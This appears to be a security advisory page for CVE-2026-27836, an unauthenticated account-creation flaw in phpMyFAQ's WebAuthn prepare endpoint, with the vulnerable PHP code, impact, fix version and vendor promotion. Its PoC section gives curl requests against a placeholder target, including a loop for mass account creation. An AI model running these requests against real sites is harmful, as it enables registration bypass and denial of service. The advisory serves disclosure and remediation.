CVE-2026-27836 is a high-severity (CVSS 7.5) CWE-862 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27836.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-27836 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
The endpoint:
- Accepts any POST request with a JSON
usernamefield - If the username doesn't exist, creates a new active user account
- Does NOT check if WebAuthn support is enabled (
security.enableWebAuthnSupport) - Does NOT check if registration is enabled (
security.enableRegistration) - Does NOT verify CSRF tokens
- Does NOT require captcha validation
- Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
Impact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.0.18composer require thorsten/phpmyfaq:^4.0.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.0.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27836 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27836 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27836. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27836 in your dependencies?
O3 Security finds CVE-2026-27836 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.